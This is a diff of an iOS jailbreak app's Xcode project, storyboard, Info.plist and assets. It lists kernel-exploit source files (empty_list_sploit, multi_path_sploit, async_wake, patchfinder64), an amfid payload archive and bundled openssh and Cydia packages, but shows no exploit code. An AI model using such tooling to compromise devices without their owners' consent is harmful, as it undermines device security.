225D142121E052960045493D /* ArchiveFile.m */,
2101395321A09BB700F9C5F2 /* hideventsystem.c */,
2101395421A09BB700F9C5F2 /* hideventsystem.h */,
21C130FC214C1EC00021AA9D /* untar.h */,
21C130FA214C1EBA0021AA9D /* untar.c */,
21A97FC42148103A00DC0023 /* kexecute.h */,
21A97FC82148103B00DC0023 /* kexecute.m */,
21A97FCC2148103B00DC0023 /* kutils.c */,
21A97FC92148103B00DC0023 /* kutils.h */,
21A97FCA2148103B00DC0023 /* patchfinder64.c */,
21A97FCB2148103B00DC0023 /* patchfinder64.h */,
21A97FCD2148103B00DC0023 /* remote_call.c */,
21A97FC52148103B00DC0023 /* remote_call.h */,
21A97FC62148103B00DC0023 /* remote_memory.c */,
21A97FCE2148103C00DC0023 /* remote_memory.h */,
21C130DE214BC2880021AA9D /* unlocknvram.c */,
21C130DF214BC2880021AA9D /* unlocknvram.h */,
212D8849216E4EBE00A36DA5 /* async_wake.c */,
212D8848216E4EBE00A36DA5 /* async_wake.h */,
212D8846216E4DF600A36DA5 /* early_kalloc.c */,
212D8845216E4DF600A36DA5 /* early_kalloc.h */,
21C0FC8521369EE900849420 /* empty_list_sploit.c */,
21C0FC8121369EE900849420 /* empty_list_sploit.h */,
212D8842216E4C4700A36DA5 /* find_port.c */,
212D8843216E4C4700A36DA5 /* find_port.h */,
2101395421A09BB700F9C5F2 /* hideventsystem.h */,
2101395321A09BB700F9C5F2 /* hideventsystem.c */,
21A97FC42148103A00DC0023 /* KernelExecution.h */,
21A97FC82148103B00DC0023 /* KernelExecution.m */,
21C0FC8021369EE900849420 /* KernelMemory.c */,
21C0FC8321369EE900849420 /* KernelMemory.h */,
21C0FC8221369EE900849420 /* KernelStructureOffsets.h */,
21C0FC8621369EE900849420 /* KernelStructureOffsets.m */,
21A97FC92148103B00DC0023 /* KernelUtilities.h */,
21A97FCC2148103B00DC0023 /* KernelUtilities.c */,
21C0FC7921369EB800849420 /* main.m */,
21C0FC8521369EE900849420 /* empty_list_sploit.c */,
21C0FC8121369EE900849420 /* empty_list_sploit.h */,
21C13117214D268F0021AA9D /* multi_path_sploit.c */,
21C13118214D268F0021AA9D /* multi_path_sploit.h */,
21A97FC52148103B00DC0023 /* remote_call.h */,
21A97FCD2148103B00DC0023 /* remote_call.c */,
21A97FC62148103B00DC0023 /* remote_memory.c */,
21A97FCE2148103C00DC0023 /* remote_memory.h */,
21C0FC6D21369EB700849420 /* JailbreakViewController.h */,
21C0FC6E21369EB700849420 /* JailbreakViewController.m */,
21C0FC8021369EE900849420 /* kmem.c */,
21C0FC8321369EE900849420 /* kmem.h */,
21C0FC8221369EE900849420 /* offsets.h */,
21C0FC8621369EE900849420 /* offsets.m */,
21C0FC6A21369EB700849420 /* AppDelegate.h */,
21C0FC6B21369EB700849420 /* AppDelegate.m */,
21C0FC6D21369EB700849420 /* ViewController.h */,
21C0FC6E21369EB700849420 /* ViewController.m */,
21C130E4214BDDE20021AA9D /* SettingsTableViewController.h */,
21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */,
21C0FC7921369EB800849420 /* main.m */,
21C130E9214C03690021AA9D /* CreditsTableViewController.h */,
21C130EA214C03690021AA9D /* CreditsTableViewController.m */,
21C130DE214BC2880021AA9D /* unlocknvram.c */,
21C130DF214BC2880021AA9D /* unlocknvram.h */,
22C546AC21A8A91A00EFC09C /* utils.h */,
22C546AA21A8A8FD00EFC09C /* utils.m */,
222AD59421FA732A00DCBA2A /* FakeApt.h */,
222AD59221FA731800DCBA2A /* FakeApt.m */,
);
path = source;
sourceTree = "<group>";
@@ -262,6 +305,7 @@
2170BDCC21B330210059BD10 /* frameworks */,
2170BDCB21B32FF10059BD10 /* source */,
2170BD3621B192B90059BD10 /* resources */,
2170BD3521B192A30059BD10 /* libs */,
2170BD3421B192750059BD10 /* include */,
8D592A67218E47F60035D2BC /* Main.storyboard */,
21C0FC7321369EB800849420 /* Assets.xcassets */,
@@ -271,15 +315,6 @@
path = Undecimus;
sourceTree = "<group>";
};
21F4D70B21FC7A490070D5E0 /* patchfinder64 */ = {
isa = PBXGroup;
children = (
21F4D70C21FC7A590070D5E0 /* patchfinder64.c */,
21F4D70D21FC7A590070D5E0 /* patchfinder64.h */,
);
name = patchfinder64;
sourceTree = "<group>";
};
22F91CD821E02CC700B2FCAE /* injector */ = {
isa = PBXGroup;
children = (
@@ -357,10 +392,24 @@
isa = PBXResourcesBuildPhase;
buildActionMask = 2147483647;
files = (
227629A521C64E640060080A /* substrate-dummy.deb in Resources */,
21466CDE21AEEC9200B99B4C /* spawn.deb in Resources */,
21466CDC21AEEA3A00B99B4C /* injector.deb in Resources */,
22C546C721A8D8AC00EFC09C /* ca-certificates.deb in Resources */,
22C546C821A8D8AC00EFC09C /* cydia-lproj.deb in Resources */,
22C546C921A8D8AC00EFC09C /* cydia.deb in Resources */,
22C546CA21A8D8AC00EFC09C /* openssh.deb in Resources */,
22C546CB21A8D8AC00EFC09C /* openssl.deb in Resources */,
22C546CC21A8D8AC00EFC09C /* resources.deb in Resources */,
21C13110214C2E570021AA9D /* strap.tar.lzma in Resources */,
21C0FC7721369EB800849420 /* LaunchScreen.storyboard in Resources */,
8D592A68218E47F60035D2BC /* Main.storyboard in Resources */,
21FED6A72168DB460024BC95 /* Painting_With_Chocolate.ttf in Resources */,
21C0FC7421369EB800849420 /* Assets.xcassets in Resources */,
21C13116214C51100021AA9D /* lzma.tar in Resources */,
2139534C21763A0C00B17F8D /* rsync.tar in Resources */,
22C546BA21A8D59C00EFC09C /* amfid_payload.tar in Resources */,
21C13105214C20950021AA9D /* tar.tar in Resources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
@@ -389,29 +438,28 @@
buildActionMask = 2147483647;
files = (
21FED6AB2168F8060024BC95 /* SettingsTableViewController.m in Sources */,
21A97FD12148103C00DC0023 /* KernelExecution.m in Sources */,
21A97FD12148103C00DC0023 /* kexecute.m in Sources */,
212D8844216E4C4800A36DA5 /* find_port.c in Sources */,
22C546AB21A8A8FD00EFC09C /* utils.m in Sources */,
22F91CE321E033A500B2FCAE /* libsnappy.c in Sources */,
212D8841216B9FB400A36DA5 /* patchfinder64.c in Sources */,
21A97FD42148103C00DC0023 /* remote_call.c in Sources */,
21C130E0214BC2880021AA9D /* unlocknvram.c in Sources */,
21C130FB214C1EBA0021AA9D /* untar.c in Sources */,
21C13119214D268F0021AA9D /* multi_path_sploit.c in Sources */,
2116449A21737F9500250744 /* JailbreakViewController.m in Sources */,
21F4D70E21FC7A590070D5E0 /* patchfinder64.c in Sources */,
2116449A21737F9500250744 /* ViewController.m in Sources */,
22F91CDB21E02CF300B2FCAE /* inject.m in Sources */,
21C1312F214E69F80021AA9D /* empty_list_sploit.c in Sources */,
21C0FC8721369EE900849420 /* KernelMemory.c in Sources */,
21C0FC8721369EE900849420 /* kmem.c in Sources */,
21C0FC7A21369EB800849420 /* main.m in Sources */,
212D8847216E4DF600A36DA5 /* early_kalloc.c in Sources */,
21A97FD02148103C00DC0023 /* remote_memory.c in Sources */,
222AD59321FA731800DCBA2A /* FakeApt.m in Sources */,
21A97FD32148103C00DC0023 /* KernelUtilities.c in Sources */,
21C0FC8A21369EE900849420 /* KernelStructureOffsets.m in Sources */,
21A97FD32148103C00DC0023 /* kutils.c in Sources */,
21C0FC8A21369EE900849420 /* offsets.m in Sources */,
212D884A216E4EBF00A36DA5 /* async_wake.c in Sources */,
2101395521A09BB700F9C5F2 /* hideventsystem.c in Sources */,
21C130EB214C03690021AA9D /* CreditsTableViewController.m in Sources */,
21C0FC6C21369EB700849420 /* AppDelegate.m in Sources */,
225D142221E052960045493D /* ArchiveFile.m in Sources */,
);
runOnlyForDeploymentPostprocessing = 0;
};
@@ -558,7 +606,6 @@
HEADER_SEARCH_PATHS = (
"$(inherited)",
"$(PROJECT_DIR)/Undecimus/include",
"$(PROJECT_DIR)/patchfinder64",
"$(PROJECT_DIR)/snappy",
"$(PROJECT_DIR)/Injector",
);
@@ -568,6 +615,7 @@
LIBRARY_SEARCH_PATHS = (
"$(inherited)",
"$(PROJECT_DIR)/Undecimus",
"$(PROJECT_DIR)/Undecimus/libs",
);
OTHER_CFLAGS = "";
"OTHER_CFLAGS[arch=*]" = "-DUNDECIMUS";
@@ -601,7 +649,6 @@
HEADER_SEARCH_PATHS = (
"$(inherited)",
"$(PROJECT_DIR)/Undecimus/include",
"$(PROJECT_DIR)/patchfinder64",
"$(PROJECT_DIR)/snappy",
"$(PROJECT_DIR)/Injector",
);
@@ -611,6 +658,7 @@
LIBRARY_SEARCH_PATHS = (
"$(inherited)",
"$(PROJECT_DIR)/Undecimus",
"$(PROJECT_DIR)/Undecimus/libs",
);
OTHER_CFLAGS = "";
"OTHER_CFLAGS[arch=*]" = "-DUNDECIMUS";
Binary file not shown.

Before

Width:  |  Height:  |  Size: 491 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.7 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 MiB

+4 -4
View File
@@ -2,17 +2,17 @@
"images" : [
{
"idiom" : "universal",
"filename" : "Clouds.jpg",
"filename" : "Clouds.png",
"scale" : "1x"
},
{
"idiom" : "universal",
"filename" : "Clouds@2x.jpg",
"filename" : "Clouds@2x.png",
"scale" : "2x"
},
{
"idiom" : "universal",
"filename" : "Clouds@3x.jpg",
"filename" : "Clouds@3x.png",
"scale" : "3x"
}
],
@@ -20,4 +20,4 @@
"version" : 1,
"author" : "xcode"
}
}
}
+1 -1
View File
@@ -17,7 +17,7 @@
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>AUTOPOPULATED</string>
<string>2.1.1</string>
<key>CFBundleURLTypes</key>
<array>
<dict>
+94 -182
View File
@@ -18,7 +18,7 @@
<!--Jailbreak-->
<scene sceneID="e0N-5Z-hJK">
<objects>
<viewController id="tXi-Ze-6Yw" customClass="JailbreakViewController" sceneMemberID="viewController">
<viewController id="tXi-Ze-6Yw" customClass="ViewController" sceneMemberID="viewController">
<view key="view" contentMode="scaleToFill" id="Vv2-VM-nBq">
<rect key="frame" x="0.0" y="0.0" width="320" height="568"/>
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
@@ -39,7 +39,7 @@
<nil key="highlightedColor"/>
</label>
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" translatesAutoresizingMaskIntoConstraints="NO" id="9BH-Zb-878">
<rect key="frame" x="61.5" y="313" width="197" height="56"/>
<rect key="frame" x="61.5" y="393" width="197" height="56"/>
<subviews>
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="roundedRect" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="ELb-9J-7YK">
<rect key="frame" x="0.0" y="0.0" width="197" height="56"/>
@@ -138,27 +138,16 @@
</button>
</subviews>
</stackView>
<textView opaque="NO" multipleTouchEnabled="YES" contentMode="scaleToFill" showsHorizontalScrollIndicator="NO" editable="NO" translatesAutoresizingMaskIntoConstraints="NO" id="bvv-3a-l9y">
<rect key="frame" x="21" y="377" width="278" height="134"/>
<color key="backgroundColor" red="0.0" green="0.0" blue="0.0" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<color key="textColor" white="0.75" alpha="1" colorSpace="calibratedWhite"/>
<fontDescription key="fontDescription" name="Menlo-Bold" family="Menlo" pointSize="10"/>
<textInputTraits key="textInputTraits"/>
</textView>
</subviews>
<color key="backgroundColor" white="1" alpha="0.83999999999999997" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<constraints>
<constraint firstAttribute="bottom" secondItem="bvv-3a-l9y" secondAttribute="bottom" constant="57" id="6e3-OM-ydz"/>
<constraint firstItem="9BH-Zb-878" firstAttribute="top" secondItem="Lbx-lz-4J4" secondAttribute="bottom" constant="13" id="AsG-6D-gAm"/>
<constraint firstItem="9BH-Zb-878" firstAttribute="top" secondItem="Lbx-lz-4J4" secondAttribute="bottom" constant="93" id="AsG-6D-gAm"/>
<constraint firstItem="Kgp-ib-vpD" firstAttribute="centerX" secondItem="82c-Je-J4x" secondAttribute="centerX" id="Ccd-dV-Dxh"/>
<constraint firstItem="ABT-w0-L5M" firstAttribute="top" secondItem="Kgp-ib-vpD" secondAttribute="bottom" constant="-6" id="KDr-Mj-86u"/>
<constraint firstItem="Lbx-lz-4J4" firstAttribute="top" secondItem="Kgp-ib-vpD" secondAttribute="bottom" constant="7" id="LGY-em-Xcn"/>
<constraint firstItem="9BH-Zb-878" firstAttribute="centerX" secondItem="82c-Je-J4x" secondAttribute="centerX" id="LmD-Z2-XJF"/>
<constraint firstItem="bvv-3a-l9y" firstAttribute="leading" secondItem="82c-Je-J4x" secondAttribute="leading" constant="21" id="UsM-LU-3dM"/>
<constraint firstAttribute="trailing" secondItem="bvv-3a-l9y" secondAttribute="trailing" constant="21" id="bHA-u0-xfl"/>
<constraint firstItem="A1X-qf-Qzr" firstAttribute="centerX" secondItem="82c-Je-J4x" secondAttribute="centerX" id="beZ-bl-No1"/>
<constraint firstItem="Lbx-lz-4J4" firstAttribute="centerX" secondItem="82c-Je-J4x" secondAttribute="centerX" id="dx7-kd-hLw"/>
<constraint firstItem="bvv-3a-l9y" firstAttribute="top" secondItem="ELb-9J-7YK" secondAttribute="bottom" constant="8" id="jsU-Oe-Z6g"/>
<constraint firstItem="Kgp-ib-vpD" firstAttribute="top" secondItem="A1X-qf-Qzr" secondAttribute="bottom" constant="1" id="lpk-2f-HwR"/>
<constraint firstItem="ABT-w0-L5M" firstAttribute="centerX" secondItem="82c-Je-J4x" secondAttribute="centerX" id="nqw-HT-9zC"/>
<constraint firstItem="A1X-qf-Qzr" firstAttribute="top" secondItem="82c-Je-J4x" secondAttribute="top" constant="104" id="sL7-Do-4dg"/>
@@ -181,8 +170,6 @@
<tabBarItem key="tabBarItem" title="Jailbreak" image="maintenance" id="W8d-XC-the"/>
<connections>
<outlet property="goButton" destination="ELb-9J-7YK" id="NQQ-PZ-dgH"/>
<outlet property="goButtonSpacing" destination="AsG-6D-gAm" id="gO0-UX-RNR"/>
<outlet property="outputView" destination="bvv-3a-l9y" id="AVx-ZY-19D"/>
</connections>
</viewController>
<placeholder placeholderIdentifier="IBFirstResponder" id="DwP-nN-m9x" userLabel="First Responder" sceneMemberID="firstResponder"/>
@@ -577,7 +564,7 @@
<rect key="frame" x="0.0" y="495.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="lNS-lr-aD5" id="61r-Ti-TM9">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="su4-yz-yLP">
@@ -611,7 +598,7 @@
<rect key="frame" x="0.0" y="539.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Upu-07-ixa" id="VYC-e3-VHl">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="3dh-Ds-91D">
@@ -645,7 +632,7 @@
<rect key="frame" x="0.0" y="583.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Un7-9W-lxr" id="zyi-OD-lEw">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="yfj-Yg-BHr">
@@ -679,7 +666,7 @@
<rect key="frame" x="0.0" y="627.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="QBO-ex-tis" id="w4p-No-wwe">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="dZz-WS-G1u">
@@ -709,79 +696,11 @@
</tableViewCellContentView>
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="7lq-Cj-HMG">
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="VAY-4U-acE">
<rect key="frame" x="0.0" y="671.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="7lq-Cj-HMG" id="mIB-5A-GXA">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="okw-vN-Hf5">
<rect key="frame" x="251" y="6.5" width="51" height="31"/>
<color key="onTintColor" red="0.0" green="0.47843137250000001" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<connections>
<action selector="hideLogWindowSwitchTriggered:" destination="ScN-Hx-Um8" eventType="valueChanged" id="4Ry-u8-eLR"/>
</connections>
</switch>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Hide Log Window" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="iPa-hs-rED">
<rect key="frame" x="15" y="11.5" width="225" height="20.5"/>
<constraints>
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="225" id="Ojf-MB-ARc"/>
<constraint firstAttribute="height" constant="20.5" id="j8v-b2-ZF7"/>
</constraints>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
</subviews>
<constraints>
<constraint firstItem="iPa-hs-rED" firstAttribute="centerY" secondItem="mIB-5A-GXA" secondAttribute="centerY" id="4WD-kJ-dKN"/>
<constraint firstItem="okw-vN-Hf5" firstAttribute="centerY" secondItem="mIB-5A-GXA" secondAttribute="centerY" id="5ic-xE-FDq"/>
<constraint firstAttribute="trailing" secondItem="okw-vN-Hf5" secondAttribute="trailing" constant="20" id="9gO-CW-Ptb"/>
<constraint firstItem="iPa-hs-rED" firstAttribute="leading" secondItem="mIB-5A-GXA" secondAttribute="leading" constant="15" id="m3s-8L-ldg"/>
</constraints>
</tableViewCellContentView>
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="MLC-DO-3b9">
<rect key="frame" x="0.0" y="715.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="MLC-DO-3b9" id="HLa-sD-hEI">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="5ao-Ni-cdG">
<rect key="frame" x="251" y="6.5" width="51" height="31"/>
<color key="onTintColor" red="0.0" green="0.47843137250000001" blue="1" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<connections>
<action selector="resetCydiaCacheSwitchTriggered:" destination="ScN-Hx-Um8" eventType="valueChanged" id="gQf-60-QkP"/>
</connections>
</switch>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset Cydia Cache" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="VUN-ej-E5w">
<rect key="frame" x="15" y="11.5" width="225" height="20.5"/>
<constraints>
<constraint firstAttribute="width" relation="greaterThanOrEqual" constant="225" id="7W6-zJ-RmB"/>
<constraint firstAttribute="height" constant="20.5" id="eDc-v9-t8A"/>
</constraints>
<fontDescription key="fontDescription" type="system" pointSize="17"/>
<nil key="textColor"/>
<nil key="highlightedColor"/>
</label>
</subviews>
<constraints>
<constraint firstItem="5ao-Ni-cdG" firstAttribute="centerY" secondItem="HLa-sD-hEI" secondAttribute="centerY" id="DfE-FS-303"/>
<constraint firstItem="VUN-ej-E5w" firstAttribute="centerY" secondItem="HLa-sD-hEI" secondAttribute="centerY" id="KIs-sD-5IO"/>
<constraint firstItem="VUN-ej-E5w" firstAttribute="leading" secondItem="HLa-sD-hEI" secondAttribute="leading" constant="15" id="Wr8-s0-nKw"/>
<constraint firstAttribute="trailing" secondItem="5ao-Ni-cdG" secondAttribute="trailing" constant="20" id="ejv-fn-a6c"/>
</constraints>
</tableViewCellContentView>
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="VAY-4U-acE">
<rect key="frame" x="0.0" y="759.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VAY-4U-acE" id="f58-Sa-aTz">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Kernel Exploit" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="F0s-FE-1BJ">
@@ -820,10 +739,10 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="RoJ-Zg-nGn">
<rect key="frame" x="0.0" y="803.5" width="320" height="44"/>
<rect key="frame" x="0.0" y="715.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="RoJ-Zg-nGn" id="bjb-rj-ILk">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<textField opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="left" contentVerticalAlignment="center" placeholder="0x292dd10b56d87a3a" textAlignment="right" minimumFontSize="17" translatesAutoresizingMaskIntoConstraints="NO" id="AmI-8O-WbP">
@@ -860,10 +779,10 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="biY-DV-Cta">
<rect key="frame" x="0.0" y="847.5" width="320" height="44"/>
<rect key="frame" x="0.0" y="759.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="biY-DV-Cta" id="rBs-X3-4zg">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<textField opaque="NO" contentMode="scaleToFill" enabled="NO" contentHorizontalAlignment="left" contentVerticalAlignment="center" placeholder="XXXXXXXXXXXXXXXX" textAlignment="right" minimumFontSize="17" translatesAutoresizingMaskIntoConstraints="NO" id="s5y-Jh-zXs">
@@ -897,10 +816,10 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="oC8-uX-vAJ">
<rect key="frame" x="0.0" y="891.5" width="320" height="44"/>
<rect key="frame" x="0.0" y="803.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="oC8-uX-vAJ" id="82P-vy-Ygt">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
<rect key="frame" x="0.0" y="0.0" width="320" height="43.5"/>
<autoresizingMask key="autoresizingMask"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Expiry" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="PKH-cg-Hb6">
@@ -930,7 +849,7 @@
<color key="backgroundColor" white="0.0" alpha="0.0" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
</tableViewCell>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="none" indentationWidth="10" id="NWI-5m-CqO">
<rect key="frame" x="0.0" y="935.5" width="320" height="44"/>
<rect key="frame" x="0.0" y="847.5" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="NWI-5m-CqO" id="UhO-Lz-lTj">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
@@ -967,7 +886,7 @@
<tableViewSection headerTitle="Utilities" footerTitle="PLACEHOLDER" id="33o-xO-9yG">
<cells>
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" selectionStyle="blue" hidesAccessoryWhenEditing="NO" indentationLevel="1" indentationWidth="0.0" id="2Iu-w9-x4b">
<rect key="frame" x="0.0" y="1043" width="320" height="44"/>
<rect key="frame" x="0.0" y="955" width="320" height="44"/>
<autoresizingMask key="autoresizingMask"/>
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="2Iu-w9-x4b" id="t4K-YB-H8y">
<rect key="frame" x="0.0" y="0.0" width="320" height="44"/>
@@ -991,10 +910,10 @@
